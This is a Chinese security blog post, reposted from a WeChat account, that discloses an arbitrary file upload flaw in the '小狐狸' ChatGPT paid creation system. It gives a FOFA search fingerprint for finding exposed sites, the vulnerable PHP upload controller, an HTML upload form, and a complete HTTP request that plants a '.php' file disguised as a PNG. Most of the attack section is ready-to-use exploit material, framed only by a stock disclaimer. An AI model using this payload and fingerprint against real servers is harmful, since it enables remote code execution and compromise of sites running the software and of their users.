(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

admin 2024年8月4日22:06:23评论88 views字数 2334阅读7分46秒阅读模式

0x00 前言

小狐狸GPT付费体验系统的开发基于国外很火的ChatGPT,这是一种基于人工智能技术的问答系统,可以实现智能回答用户提出的问题,提供更加精准的答案。同时,小狐狸GPT付费体验系统采用了最新的GPT3.5接口与GPT4模型,同时还支持型,文心一言,腾讯混元,讯飞星火,通义千问,智普等等国内各种大模。

fofa: "/web/static/css/chunk-elementUI.f92cd1c5.css"

(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

测试版本:2.9.3 框架:ThinkPHP          代码审计

0x01 漏洞分析

在 /app/web/controller/Video.php 控制器中,uploadMedia方法存在file()上传函数,且过滤为简单的mime验证和php的getMime()函数,也无过滤后缀,直接上传正常图片即可绕过。

public function uploadMedia(){    try {      $file = request()->file('file');      $mine = $file->getMime();      if (!in_array($mine, ['image/png', 'image/jpeg', 'video/mp4'])) {        return errorJson('仅支持上传jpg/png/mp4格式文件');      }      if ($mine == 'video/mp4') {        $fileType = 'video';      } else {        $fileType = 'image';      }      $path = Filesystem::disk('public')->putFile($fileType, $file, 'uniqid');      $url = saveToOss('./upload/' . $path);      return successJson([                         'type' => $fileType,                         'path' => $url                         ]);    } catch (Exception $e) {      return errorJson($e->getMessage());    }  }

Ps:已测试过2.8.0之前的版本不存在Video.php控制器 所以应该影响 2.8.0 <= 版本

0x02 漏洞复现

需要普通用户权限,直接访问 website/web/#/  微信扫码登录或者直接注册即可.

(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

登录好之后直接构造一个html上传表单.

<form action="http://127.0.0.1/web.php/video/uploadMedia" method="post" enctype="multipart/form-data">  <input type="file" name="file">  <input type="submit" value="上传"></form>

然后打开burp,抓包,上传一个正常图片(最好小一点),之后直接改后缀为.php,直接返回地址

Payload:

POST /web.php/video/uploadMedia HTTP/1.1Host: 127.0.0.1:81Content-Length: 594Cache-Control: max-age=0sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryhp8gBUbCczcaLGAaUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=662e1cea3d0191Connection: close------WebKitFormBoundaryhp8gBUbCczcaLGAaContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png你的图片数据<?php phpinfo();?>------WebKitFormBoundaryhp8gBUbCczcaLGAa--

(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

如果出现这样,是php的fileinfo拓展没开......

(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE

chatgpt源码关注公众号发送 ai 获取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

原文始发于微信公众号(实战安全研究):(0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月4日22:06:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (0day)小狐狸Chatgpt付费创作系统存在任意文件上传漏洞https://cn-sec.com/archives/3032748.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息